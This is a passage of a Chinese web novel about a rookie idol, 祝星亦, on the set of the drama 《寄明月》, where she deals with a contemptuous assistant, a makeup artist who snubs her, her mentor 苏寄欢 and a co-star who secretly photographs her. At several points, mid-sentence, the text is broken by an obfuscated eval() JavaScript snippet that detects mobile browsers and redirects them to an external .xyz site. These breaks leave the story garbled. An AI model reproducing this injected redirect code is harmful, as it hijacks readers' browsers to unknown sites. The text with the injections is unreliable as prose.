不过张静怡也不想把事情闹大，便不耐烦地问祝星亦：“那你想怎样？” 祝星亦说：“我要去附近转转，你得跟我一起去。” 张静怡偏过头，翻了个大大的白眼，心里想着：这祝星亦是不是傻啊，怎么还非要让她跟着一起转，她自己就不能去转吗？但嘴上，张静怡还是不情不愿地说：“知道了。” 张静怡觉得祝星亦出道之后脾气变得可大了，以前她数落祝星亦的时候，祝星亦大气都不敢出，现在倒好，居然对她颐指气使，真是有点小名气就开始耍大牌。 跟着祝星亦转悠了半圈，张静怡觉得无聊极了，只见祝星亦一直在拿着手机拍照，还在手机便签上写东西。 张静怡从鼻孔里哼出一声，小声吐槽：“土包子，这有什么好拍的。” 张静怡从心底里看不起祝星亦这种人，穷山沟沟里出来的村姑，能火完全就是偶然，舞台表现也就矮子里拔将军罢了。 哪像张静怡自己追的明星，麓城本地人，麓圈大小姐，可比祝星亦这种乡下人高贵多了。 张静怡现在都后悔给风荇公司投简历，原本以为能给一个有钱的爱豆做助理，逢年过节还能收到爱豆给的红包，谁知道跟了祝星亦。 别说红包了，这祝星亦自己都没钱买什么贵重的东西。她有些衣服鞋子都是借的队友的，要么就是品牌方借给她的，连个像样的奢侈品都没有。 回到酒店后，祝星亦对张静怡说：“静怡，你把屋子里的行李收拾一下。” 张静怡一脸不乐意，坐在椅子上玩手机，嘴里嘟囔着：“这种简单的事情也要我做？” 张静怡低头跟好友发消息吐槽祝星亦，咖位不大，牌面倒是不小。一个选秀出来的爱豆，就算是C位，放在娱乐圈里也就是个五六线的艺人，还耍什么大牌啊。 “张静怡，我叫你你没听见吗？”祝星亦提高了音量，心里已经非常生气，“快收拾东西！” 祝星亦忍不了，扯着嗓子吼了起来，那架势像是想给张静怡一拳。 张静怡知道祝星亦在后台打人的事，心里也有点怕，她很不高兴地放下手机，起身去收拾东西，故意狠狠地踢了一下行李箱来发泄自己的不满。 祝星亦正要开口怼她，门被敲响。 打开门，祝星亦看到来人是苏寄欢。 苏寄欢的身后站着一位扎着马尾的女人，穿着吊带背心和工装裤，背着腋下包，整个人看起来干净利落。 祝星亦心里犯嘀咕，这人看起来不像是做助理的啊，该不会苏寄欢给她找了一个比张静怡更糟糕的助理吧？ 还没等她开口说话，听到声响的张静怡走了过来。 张静怡一看到苏寄欢，整个人立刻变得特别谄媚，和对待祝星亦的态度简直天壤之别。 张静怡满脸堆笑：“哇！苏小姐！好漂亮的苏小姐呀！苏小姐，我能要一个您的签名吗？” 苏寄欢淡淡地瞥了一眼满心期待的张静怡，而后视线又挪向一旁的祝星亦。 祝星亦头发略显凌乱，手背上横亘着几道划痕，手指上贴着创可贴，嘴唇紧紧抿着，像是在极力克制着某种情绪。 这副模样，像一只想发火却又强忍着的炸毛狐狸。 “好。”苏寄欢礼貌而又疏离，声音里听不出一丝情绪起伏。 “啊啊啊！谢谢苏小姐！”张静怡的声音又尖又细，像一把锐利的锥子直刺人耳。 她一转身钻进屋子里，很快拿了纸笔出来递给苏寄欢。 苏寄欢大手一挥签下名字，再把纸笔递回给张静怡，整个过程没有多余的表情。 苏寄欢又瞟了一眼那只“炸毛狐狸”，只见祝星亦眼睛瞪得大大的，欲言又止的模样很是有趣。 谁惹她了？苏寄欢想着，把话咽回肚子里。 苏寄欢侧过身介绍身旁的人：“祝星亦，这位就是秦永欣，你在剧组的这段时间她会一直做你的助理。” 祝星亦还没来得及说话，张静怡抢先开了口：“助理？她做助理我做什么？” 秦永欣不紧不慢地从包里掏出一张名片递给张静怡，声音不咸不淡，带着公式化的冰冷：“静怡，苏老师邀请我来做祝小姐的助理是给你搭把手，未来几个月，希望我们相处愉快。” 名片上只有秦永欣的名字和联系方式，张静怡心里暗自腹诽，这祝星亦还真是谱大，在艺域要不来助理，居然问苏寄欢要。 张静怡打量着面前这个扎马尾的女人，觉得没什么特别之处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392530|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，于是语气冷淡地应道：“嗯，相处愉快。” 祝星亦自己住一间房，张静怡和秦永欣住套间。 收拾完东西后，秦永欣端着笔记本坐在张静怡身旁，准备跟她核对祝星亦明天的行程。 “明天要带星亦去选妆和定妆，以及拍剧照。你这边明天早上给她买好早餐，我这边……”客厅里，秦永欣的话还没说完，就被张静怡打断了。 张静怡把手中的水杯重重地往桌子上一放，发出“砰”的一声响。 “秦小姐，不管怎样，我才是祝星亦的个人助理，行程安排之类的，应该是我来安排吧？”张静怡斜睨着秦永欣，满是挑衅。 秦永欣却像没听见似的，依旧坐得笔直，笔记本放在腿上，手指在键盘上有条不紊地敲打着。 张静怡好奇地歪着身子看了看，发现秦永欣正在做表格，心里更加不屑。 就定妆、拍剧照的行程还有必要专门做个表格吗？整得跟祝星亦是多大的腕儿似的，就算是大腕儿也没必要这么细致吧。秦永欣也太把助理这个工作当回事了。 助理不就是生活工作保姆吗？还要做这些东西？张静怡要是有空给祝星亦做这些，早就坐在舒舒服服的办公室里当老板了。 秦永欣没有抬头，只是淡淡地“哦”了一声，“那你来安排。几点叫她起床、用餐、坐车，怎么给她介绍出妆酒店和拍摄地点遇到的其他艺人，还有……过几天要跟导演她们吃饭，你怎么给她安排社交问题。” 张静怡不服气地哼了一声：“我当然早就给她安排好了，她又不傻，吃饭坐车这种事还能不懂吗？这都要给她安排好？至于和艺人、导演社交的问题，给她介绍她也记不住，还不如直接现场认识呢。” “是吗？”秦永欣嘴角微微撇着，又敲下一行字，“嗯，我知道了，你自己安排就行。” “你又不了解她，她没见过世面，给她解释太多也是徒劳。”张静怡一边嘟囔着，一边起身坐到沙发另一头玩手机。 张静怡完全没把明天的行程当回事，开机前无非是定妆、开机仪式这些事，开机后就完全交给剧组负责，哪里需要这么麻烦。 张静怡刷着手机，时不时嘟囔：“给她做这么细致，真是没苦硬吃。真把土包子当公主供起来了，闲得要命。” 18. 第 18 章 秦永欣没再吭声。 晚上八点多，张静怡不知道跑到哪里去了，秦永欣找了一圈也没寻到人。 她把密密麻麻的表格保存好，起身去敲苏寄欢的门。 “永欣姐？”苏寄欢看到来人是秦永欣，疑惑地问道：“找我有事？” 秦永欣轻轻揉着眉心，嘴唇张了张，欲言又止的模样。 过了一会儿，她才缓缓走进门道：“找你聊聊祝小姐的事。” “她怎么了？”苏寄欢问。 “祝小姐的原公司是风荇娱乐是吧？”秦永欣问道。 苏寄欢点头：“是的。” 秦永欣扯了下唇，“她待在这个公司迟早会被耽误死。” “永欣姐的观察力强到这种地步了？”苏寄欢一边说着，一边倒了杯水递给秦永欣。 秦永欣微微抬起下巴，“你高薪聘我过来给她当助理，我肯定要对得起这个价格。” “永欣姐的工作狂称号果然名副其实。”苏寄欢说道。 秦永欣：“风荇的事慢慢跟你说，过几天和那些人一起用餐，祝星亦肯定会很局促。这部剧参演的人杂得很，制作方那边也不太满意祝星亦，到时候……” 秦永欣被苏寄欢邀请过来后，早早就把《寄明月》的剧组摸了个遍儿，她心里有一种预感，这部剧拍得估计不会很顺利。 “我知道，所以我邀你来帮忙照顾着她。”苏寄欢轻叹，“没关系，我也会好好照顾她。” ～～～ 到达出妆酒店的时候才八点半，秦永欣瞧见祝星亦状态欠佳，走上前询问：“星亦，你怎么了？看起来没什么精神呢。” “哦，就是昨天睡得晚了点儿。”祝星亦打了个哈欠，脸上的疲态清晰可见。 她可不敢太放松，今天的定妆选妆倒是小事，关键在于几天后的小宴会。 制作组要和资方以及几个番位靠前的演员一起用餐，她对那些人全然陌生，完全不知道该如何与他们应酬。 虽说自己在他们眼中不过是个毫无资历的新人，名字恐怕他们都不会记得，但她还是特别想抓住这个机会。 前世在成为晏瑾年女朋友之前，她根本没有任何机会，恋爱之后，晏瑾年也只给了她少得可怜的资源。 要是晏瑾年当初肯好好拉她一把，她也不至于在娱乐圈里磕磕绊绊地摸索许久才熬出头。 说到底，晏瑾年就是不想给自己招惹是非，宁愿和她偷偷摸摸地搞地下恋情，也不愿给她更好的资源。 可晏瑾年每次还总是强调自己给了她多少东西，非得让她感恩戴德，而她当初还真就双手合十，感激涕零，撂下面子去做晏瑾年要她做的那些事。 真傻啊。祝星亦在心里默默叹道。 “我应该提醒你好好休息的，主要是怕你今天定妆效果不理想。”秦永欣和祝星亦一起坐下来，等候妆造师的到来。 秦永欣没看到张静怡，这张静怡每天都不知道在忙些什么，天天不见人影。 想问祝星亦带着这么个助理是怎么生活的，眼一瞟，看到祝星亦认真翻电子书看。走近看了看，是《寄明月》原著。 不多时，化妆间又走进来几个艺人，祝星亦赶忙起身跟她们打招呼。 有人礼貌颔首，有人像没看到祝星亦似的，直接走到其他位置坐下，百无聊赖地玩着手机，身边围着几个助理伺候着。 祝星亦撩了一下头发坐下来，有些尴尬地朝着秦永欣笑了笑。 虽说她饰演的是二番角色，但这部剧偏向群像戏，而且戏份以及后期剪辑镜头都得由制作方决定，所以番位不高的演员未必戏份就少。 隔了三个座位的地方，有位艺人一边刷着手机，一边吐槽：“一个五六线的爱豆到底有什么后台啊？黎导和苏老师的戏都能合作了，还被官方钦定为二番。” 另一个艺人瞥了一眼祝星亦，不屑地说：“谁知道呢？要不是她要演这个剧，我都不知道最近出了个新女团。不过二番又能怎样呢？也就是个丫鬟罢了，苏老师的洗脚婢而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏寄欢把一杯热可可和一包三明治递给祝星亦，“你吃早饭了没？我来的路上想着你万一没吃饭，就给你多带了一份。” “我不，我……” 祝星亦刚要拒绝，秦永欣就接了过来，说道：“谢谢苏小姐。” 祝星亦连忙说道：“但我……吃过了。” 苏寄欢说：“选妆可能要花费很长时间，万一饿了还能填下肚子。” 接着，她又拿出一个小袋子，“这是糖炒栗子，你昨天发朋友圈说想赶紧过冬，这样可以穿着大衣吃糖炒栗子，我就给你买了。” 祝星亦愣了，发那条朋友圈只是因为偶然刷到了一个下雪的视频才有感而发，苏寄欢怎么还要在意这个…… “这……”祝星亦一时之间不知道该说什么。 苏寄欢这么会做人吗？难怪刚回国的时候被人排挤，没过多久就混开了。但自己这个底层小爱豆她也要维护感情吗？再长袖善舞也没必要这样吧…… 她偷偷瞧了眼苏寄欢，这个女人面不改色的从容，仿佛做这种事很正常一样。 “拿着吧。”苏寄欢递给秦永欣，转身走向自己的位置。 那几个艺人又开始小声嘀咕起来—— “不是，她和苏寄欢老师关系怎么这么好？她到底什么来头啊？” “她一个土鳖能有什么来头？我看她之前在选秀节目上普通话都不标准，土气得要死。出道之后倒是有点星相了，嘁，艺域还真会包装人，把一个村姑都包装成漂亮千金了。” “身材好脸蛋也好，这种爱豆可不缺金主哦，不然不可能一出道就演黎导的剧啊，一个流量花瓶有什么本领能拿下黎导的剧？” “苏老师可真倒霉，要和这种人搭戏。” “演苏老师的丫鬟罢了，她不耍大牌就谢天谢地了。” “她有什么牌可耍吗？哈哈哈哈哈！” 几个人围在一起，眼睛直勾勾地盯着祝星亦指指点点。他们离她很近，声音很小，她还是听到了。 身为新人进这个组，祝星亦是有些局促。 不过，那也是刚刚了。 她有个习惯，喜欢蹬鼻子上脸，也喜欢给点阳光就灿烂。只要惯着她，她就会无法无天，腰杆硬得不得了。 “吵得要死。”祝星亦起身要去洗手间，路过那群人低声说，“死爹了吗在这里哭丧？” “你……”有人欲要反驳，祝星亦马上打断他们。 “我什么？吵到苏老师了还要不要命啊？”祝星亦甩了下头发，瞥他们一眼，“你们和苏老师很熟吗？不会吧，苏老师难道也给你们买早餐了？嗯？” 那些人颇看不惯祝星亦，嘲讽道：“土鳖傍大腕儿，你也不怕被反噬！” 祝星亦掀起嘴皮子凑到那人耳边，阴测测哼笑：“看我不爽啊？那你自杀重新投胎呗。” 撩了下发，祝星亦潇洒转身离开。 “祝星亦！！！” 可恶！狗仗人势！到底谁在捧她！众人气愤不已。 化妆师来了之后，开始给各个角色选妆和选服装，祝星亦想着自己是二番，肯定马上化完，可惜有的艺人都换了两个妆了，祝星亦第一个还没化完。 原文中描绘的阿星是双丫髻发型，用丝带和简单的珠钗做装饰，喜欢穿鲜艳的衣服，眼睛炯炯有神。但祝星亦的妆造一出来，看得她皱眉头。 脸上只打了个底，发饰只有两条垂下的丝带，配上土气的衣服更难看了。 “好淡的妆，像没化。”祝星亦跟化妆师说，“你给我这里……” 化妆师啪的把眼影盘合上，瞥了镜中的祝星亦一眼，满不在乎道：“丫鬟化什么妆？要给你化成大小姐吗？” 祝星亦握着拳捶桌子：“那也不能就打了个底，我等下要拍剧照，这么清汤寡水，不知道的还以为剧组穷疯了。” 化妆师不搭理她，收拾收拾化妆品去给其他艺人换妆。 祝星亦起身去拦，“站住！给我重化！你化的什么破玩意儿，还不如我自己化。” 那化妆师拍了下桌子，“那你自己化啊，摆什么谱啊！” 祝星亦赶忙去拿化妆品要自己化，工作人员催她拍照。 这都什么跟什么，这剧组这么烂吗？ 被催了几声，她瞪了眼那化妆师，咬着牙去拍摄。 刚到摄影棚前，祝星亦撞见苏寄欢。苏寄欢一身华服，妆容精致。 她真好看，祝星亦想。 苏寄欢凝神盯着祝星亦看了几眼，若有所思的样子。 祝星亦不解地问道：“苏老师，怎么了？” 苏寄欢不语，带着祝星亦返回化妆间，径直走到妆造师跟前。 顾明月一直将阿星视为亲妹妹，凡事都想给阿星最好的。顾明月的妆造如此华丽，又怎会舍得让阿星的妆造这般寡淡？ 苏寄欢与妆造师就人物设定进行了一番沟通，亲自为祝星亦挑选了几款妆容。等到祝星亦重新化妆之后，苏寄欢端详了许久，这才露出满意的神情。 祝星亦看着镜中的自己，发觉这个妆容，将自己明艳的五官衬托得恰到好处。 左看右看，祝星亦瞪了在别处化妆的妆造师一眼。 “去拍吧。”苏寄欢带着祝星亦前往摄影厅。 “嗯。”祝星亦乖巧点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“导演好。”祝星亦走上前，礼貌地说。 “小祝好，昨天看了你的定妆照，效果很不错啊，鸭鸭果然没看错人，你们俩光是外在形象就和原著非常契合。”黎芷恩笑着说道。 两个美女来演这部剧，颜值上怎么说也没让原著粉失望。不像有些剧，找些颜值不过关的演员来演什么天下第一大美女或者大帅哥，简直是毁原著。 翻拍动漫、漫画就更不用说，本身还原不了动漫感，还找颜值不够的人演，又营销什么很还原，简直丢人现眼。 “鸭鸭……”祝星亦听到这个称呼，心里一阵紧张，一时间有些懵，不知道这个称呼是在叫谁。 苏寄欢见状，小声对祝星亦说：“就是我呀。” 说着，苏寄欢凑近祝星亦，雪一般的目光落在她身上。 短暂的，冰冷的，穿过岁岁年年的，那个曾觉得奇怪的目光。 柚子花香扑面而来，祝星亦嗅着那股香气，身体下意识小退了半步。 20. 第 20 章 祝星亦以前其实是讨厌这种味道的，可是现在闻多了，好像又不那么讨厌了。 呆呆站在原地许久，她才反应过来。 差点忘了，苏寄欢小名叫苏雅雅，粉丝和亲近的友人都亲昵地喊她鸭鸭。 苏寄欢带着她和导演组的人交流，耐心地跟他们介绍她。她觉得自己现在就像是个小孩一样，被苏寄欢这个“家长”带着到处介绍。 虽说自己前世有演艺经验，但是这部剧的制作可比《祁星海》高级多了，导演组和制作组里的人也都是业界赫赫有名的大姥。 但她就算是已经在演艺圈摸爬滚打了五年，面对这些大佬还是会感到局促不安。 这个宴会厅乃至整个剧组，都是一个巨大的熟人局，或者是知名艺人带自家公司的小艺人。 譬如苏寄欢便带了自家的几个小艺人演点配角刷刷脸，一些说得上名字的角色也不是什么没名气公司出来的。 容羽珍往这个剧组里塞了三个人演镶边角色，这是作为和苏寄欢讨要祝星亦的交换。但苏寄欢也没亏，她家的两个艺人去了艺域的两档综艺节目当特邀嘉宾。 资源置换，谁都没亏着，还能交上朋友。 反正没点人脉，这种剧组还真是挤不进去。如果想要往大荧幕发展，想演高质量的电影，更需要强有力的人脉。 这个圈子早就不是靠努力就能出头的圈子。 前世祝星亦撞到南墙才明白这个理儿，艺域排挤风荇不管，靠着抱晏瑾年大腿才被施舍零星点儿的资源，如果晏瑾年有心扶她，或者风荇和艺域愿意培养她，也许是另一番光景。 不想了，上辈子太窝囊了。 “那位是孔梦丹，我们的制片人，黎导也是制片人之一。”苏寄欢示意祝星亦往孔梦丹的方向看，“她旁边的是罗嘉玲，是出品方，走，我带你过去。” 苏寄欢讨了杯酒，递给祝星亦。 祝星亦握着酒杯不确定道：“带我过去……我……” 祝星亦心里明白，她是苏寄欢介绍来的，也许资方有更合适的人选，自己占这个坑，就让资方的人少了机会。 加之这些资方在她这等艺人面前，掌握生杀大权自然要更高高在上些，她非他们中意的人，再献殷勤也不会讨人喜欢。 “我带你过去，别害怕。”苏寄欢知道祝星亦有压力，尽量让她放松些，“她们不会为难你，而且有我在呢，别怕。” 祝星亦本要说些什么，听苏寄欢这样说，很快静下心来。 也是嘛，天塌下来还有176的苏寄欢顶着，她是苏寄欢带来的，苏寄欢可不得对她好好负责。 想着，心里轻松很多。 “嗯！”祝星亦点头。 “孔小姐，罗小姐，你们好。” “啊，寄欢。” “寄欢，苏姨的剧本我很喜欢哦。” 苏寄欢与这两人交谈起来，很快，她给两人介绍起祝星亦。 礼貌打过招呼，祝星亦手心里已布满汗珠。 这些大姥对她兴趣并不大，她们的注意力都在苏寄欢身上。 她站在苏寄欢身旁老老实实听她们交谈，等谈到敏感话题，她知趣离开。 苏寄欢应该没那么快抽身，百无聊赖，祝星亦开始观察宴会厅里的人。制作方都是她从未见过的人，艺人倒是能认出一些。 “祝小姐。”一个声音传来。 祝星亦转头看去，一个女人正朝着自己走过来打招呼。 这人叫齐漫姝，在剧中扮演南城宋家二小姐宋璐，这个角色在剧里为顾明月的生意提供了很多帮助，戏份不少。 祝星亦对齐漫姝此人了解并不多，只知道她是东霄市人，家里是做生意的，之前还有一段时间营销过自己是东霄大小姐，不过nbcs。 齐漫姝出道以来拍了不少剧，刚出道的时候就是一番女主，后期资源也都不错，可一直没能大火起来。可能这种人就是资源多，但没火的命。 资源多，齐漫姝可不愁拍戏，要么在一些一般制作的剧里演女主，要么就在大导演的戏里演女配。可惜，看起来是个漂亮的大忙人，但演再多也没多少人记住她。 “你好，齐小姐。”祝星亦礼貌地回应道。 “我看你一个人在这里，就想着过来跟你说说话。”齐漫姝看起来脾气很好，非常有礼貌，“我仔细研读了剧本，咱俩有一些同框戏，有空的话我们可以对一对台词。” 原来是想讨论戏的，祝星亦点头称好。 “嗯，那我先去跟他们聊了，拜拜。”齐漫姝简单说了两句离开。 回到自己的小圈子里，有人好奇问齐漫姝：“你跟那个祝星亦聊了些什么？” 齐漫姝瞥了一眼远处的祝星亦，满不在乎地说：“刷个存在感咯，顺便看看究竟是什么人演了传说中的二番。” 虽说《寄明月》这部剧改编之后偏群像，但无论是原著还是改后的剧本，宋璐这个角色都称得上二番。 齐漫姝很疑惑，这个阿星不就是顾明月的丫鬟吗？一个丫鬟的角色怎么能被提到二番？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392533|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个答案很简单，肯定是有背景的人来演才被提番呗。 流量花瓶来演黎导的戏，还能和苏小姐搭戏，演的是丫鬟角色，却是官方钦定二番，没点背景谁做得到？ 旁边的人附和：“就是啊，她又没实力，没点背景怎么进组？苏老师还为她忙前忙后，对她满是关照，肯定背景强硬。你再看她那样子，花瓶而已，能撑起这个角色吗？” 齐漫姝轻哼一声说：“我倒要看看她能演出什么花样来。就她那样，我觉得这剧迟早得被她给毁了。到时候黎导就知道用错人是什么下场。” ～～～ 开机仪式隆重启动，展板和横幅都很喜庆。介绍完资方、导演和摄影后，开始拜四方。 苏寄欢已带着角色的发型，祝星亦也一样。两人今晚便有一场戏要拍，开机仪式完毕就要马上投入工作。 从苏寄欢说要教祝星亦演戏开始，苏寄欢没少去找祝星亦讲剧本。 苏寄欢做起老师来认真得很，没来酒店前，苏寄欢给祝星亦发一大堆资料让她消化。到酒店后，苏寄欢则是抱着戏剧专业的教材、剧本来祝星亦房间讲课。 电脑一开，资料一铺，头发一扎，眼镜一戴，苏寄欢耐心、细致地跟祝星亦讲解怎么理解剧本怎么演那个角色。 祝星亦感觉苏寄欢应该戴着小蜜蜂站在讲台上，而她自己应该坐在台下记笔记。苏寄欢提问，她就要standup，回答完她就要sitdown。 白天讲，晚上也讲，有时候太晚了，讲得祝星亦自己都困得不行，但又得老老实实听着。头一点一点地打瞌睡，睁眼就看到苏寄欢在笑。 祝星亦局促得很，只能打起精神继续听她讲课。哪里没认真听讲，苏寄欢会罚她抄写一下没仔细听讲的内容。 祝星亦想，幸好苏寄欢的惩罚不是特别严格，不然还要伸小手被苏寄欢的戒尺打几下。 今天的第一场戏就是检验祝星亦的学习成果，不知道为什么，有一种摸底测验的紧张感。 苏寄欢将香递给祝星亦，“祝星亦，开机大吉。” 祝星亦接过香道：“苏老师，你不如喊我小祝吧。” 点燃三炷香，青烟缭绕，苏寄欢一双眼静静瞧着祝星亦，片刻后笑说：“小祝？这算是亲近点的喊法，那，我现在算是你的朋友了？” 祝星亦以为苏寄欢不满意朋友这个关系，两人到现在还是［师徒］，没有其他更亲密的关系。 “苏老师不愿意做我的朋友吗？”祝星亦反问。 21. 第 21 章 苏寄欢比祝星亦大了八岁，两人共处除却剧本研讨，貌似并无更多话题。 要说朋友，苏寄欢怕是当不好这个朋友。毕竟祝星亦年轻些，还在读大学，喜好的事物都很新鲜。 苏寄欢斟酌再三道：“做你的朋友我肯定是愿意的，不过……” “不过什么？” “不过朋友可不是只靠嘴上说说，得看行动。”苏寄欢拿着香示意祝星亦前去上香。 苏寄欢说得很明白，祝星亦倒觉得苏寄欢话里有话。二人圈内地位差别极大，真要是做朋友，祝星亦怕是还要处于低位。 祝星亦厌恶当个低位者，要对上位者恭恭敬敬，还要小心翼翼察言观色，生怕惹对方不快，毁了这段关系。 若不是苏寄欢力邀她出演这部剧，若祝星亦只是一个普普通通进组的人，祝星亦怕是还要谨慎恭敬地对待苏寄欢这个高位者。 祝星亦一想到前世她在晏瑾年面前低眉顺眼的窝囊模样，忍不住骂自己几百遍。关键是祝星亦卑微得不得了，还没得到什么东西，真是赔钱。 这世祝星亦也是长了记性，和这些高位者相处只需要利益交换就好，真要是投入真情实感，只怕自己还是会被玩没。 尤其是苏寄欢这等在娱乐圈身经百战的人，没有背景也能爬上来，懂人情世故又有诸多圈内熟人，定是手段非常，她玩祝星亦不得跟玩狗一样简单？ 她可不要当苏寄欢的玩物。 上完香祝星亦搓着手嘟囔：“那我们就不做朋友了，做师徒也挺好的。” “不……不做朋友了？”苏寄欢有些诧异。 怎么又不愿意做朋友了？ 苏寄欢有些懊恼，怕自己又说错话，她讪讪道：“哈哈，也行，也行。” ～～ 开拍的第一场戏是在南城经营店铺，顾明月遭人诬陷，官兵要带走顾明月，阿星拦着众人要把顾明月救下，却被人打了一顿。 黎芷恩称这段戏要演出顾明月坚韧、倔强的脾性，以及阿星忠心护主的模样。 黎芷恩简单跟苏寄欢和祝星亦走了下戏，便让其他演员和两人简单走下场。 【＊＊＊＊＊ 顾明月：人不是我伤的，若是…… 官兵：人证物证皆在，竟然还想挣扎，给我拿下她！ 官兵：是！！ 顾明月：你们放开我！ 阿星：你们放开小姐！不要碰我家小姐！ 官兵：滚开！ 阿星：啊，好痛。小姐…小姐！！ 顾明月：阿星！阿星，你快去寻宋小姐求助！ 官兵：事已至此，你请天王姥子都没用！带走！ 阿星：小姐！呜呜呜小姐！我的小姐！ ＊＊＊＊＊】 苏寄欢又带着祝星亦走了下戏，随后正式开拍。 苏寄欢的工作态度是祝星亦见过最好的艺人。 祝星亦在接到剧本后，苏寄欢带她全部梳理一遍，并让祝星亦写一篇3000字的文章解析［阿星］这个人物，还让祝星亦把原著、广播剧等衍生作品都看了。 教学的时候，苏寄欢亲自提问原著剧情，如果祝星亦答不上来，就得被罚提交一篇500字剧情总结。 另外苏寄欢还要祝星亦讲一讲关于剧本的合理和不合理之处，并带祝星亦认识了下苏洁。 苏寄欢说，如果祝星亦有关于［阿星］这个人物更好的解读，可以直接和苏洁商量。 祝星亦以前拍戏从没这样过，以前看别人拍戏，别人只是被要求怎么演那就怎么演，或者是想怎么演就怎么演。 可苏寄欢这样做，好像是参与进了整个剧的制作里面，亲自把控了很多东西。 苏寄欢让她保持这样的习惯，她说自己经验不够，在其他剧组可能不太敢这样做。 “只要你说出口，做出来，就算只有一个人听、一个人看，那也是有意义的。”梳理剧本的时候，苏寄欢认真做着笔记，“既然参与到拍戏里面，你也是整个剧的创作者，你不仅要负责演好自己的戏份，还要帮忙把控整个剧的质量。” “你要记住，创作者永远都要为自己的作品负责。” 这些别人从没跟祝星亦说过的话，苏寄欢说给她听，她便记住了。 一部影视作品，台前幕后的所有工作者都是创作者，每个人都为这个作品负责，才会让这个作品更完美，更高质。 走完戏，祝星亦和苏寄欢开始拍摄。 苏寄欢表演功底深厚得很，演什么就是什么，光是眼神就能演出顾明月的倔强和坚韧。其台词更是一绝，咬字清晰有力符合人设，已无需后期配音。 黎芷恩对苏寄欢完全放心，于是把目光放在祝星亦身上。 看着祝星亦的表演状态，倒叫黎芷恩有些意外。 兴许是第一次面对剧组镜头，祝星亦有些紧张，但很快她便入戏，把阿星的慌张和护主的状态演得很好。 竟真有两把刷子。 “呵，我还以为她连走位都走不好呢，小瞧她了。”饰演宋小姐宋璐的齐漫姝抱着剧本在一旁坐着。 坐在一旁的石南德倒没觉得这祝星亦表演有哪里好，“中规中矩的演技，话说演个丫鬟还要什么演技？” 石南德和齐漫姝在其他剧搭过戏，不过不太熟，在本剧有一些同框镜头。 石南德颇看不起祝星亦此等资源咖，说不定祝星亦这个角色是朝哪个老板卑躬屈膝求来的，要么是…… “靠睡上位的也不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392534|153343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你说那个姓祝的是不是也是靠被谁睡了才能演二番的？”石南德翻了下剧本问。 齐漫姝眉头一挑，目光落在正在哭喊的祝星亦身上，“那我就不得而知了，我看你对她挺感兴趣的嘛，都偷拍她多少照片了。” 石南德不想齐漫姝竟发现自己的偷拍行为，他面色如常道：“长这么漂亮，身材又这么好，谁不想多看两眼。女团爱豆，应该很会跳热舞吧，等我们哪天团建，喊她跳个舞热闹热闹。” 齐漫姝嘁了一声，转头跟助理说了些什么，等祝星亦演完便抱着剧本找祝星亦。 “你是第一次演戏吗？”齐漫姝虽是讨厌这个资源咖，但见祝星亦这还算有模有样的演技，还是要夸上一夸，“我竟然完全不觉得你没有演艺经验，不像新人，倒像老手。” 祝星亦任化妆师补妆，晚上还有两场戏要演，演完即可收工，明日再来上班。 “是黎导和苏老师指导得好。”祝星亦单手举着剧本，她与齐漫姝稍后会有一场戏，补完妆便开始对台词。 两人对完戏，齐漫姝与祝星亦坐在一起闲聊。 瞧见石南德在别处对着两人摆弄手机，齐漫姝猜到这人又要偷拍了。 齐漫姝跷着二郎腿放下剧本同祝星亦道：“我提醒你一句，有人一直在偷拍你，从你进剧组就在偷拍了。不仅偷拍你，他还造谣你。” 齐漫姝悄摸着给祝星亦指了石南德的方向，“就他，石南德，你应该不认识他吧？先前在热播剧里演了个讨喜的男配，粉丝涨了许多，后面又演了一些人设比较好的男配，飘得不得了。后来他私联站姐和站姐处对象，又出轨同剧组女配角。” 这事祝星亦隐隐约约有听说，她收回目光问：“哦，然后呢？” 齐漫姝显然有些惊讶，“什么然后，他偷拍你，我提醒你一声。” 祝星亦问：“你怎么知道他偷拍我？” 齐漫姝答：“我亲眼看到了啊，他一直趁你不注意偷拍你，拍了好久，好多张，还发群里讨论你。” “真假？” “骗你干什么？” 齐漫姝给祝星亦看助理录的石南德偷拍的视频。 “那你为什么不阻止他？” 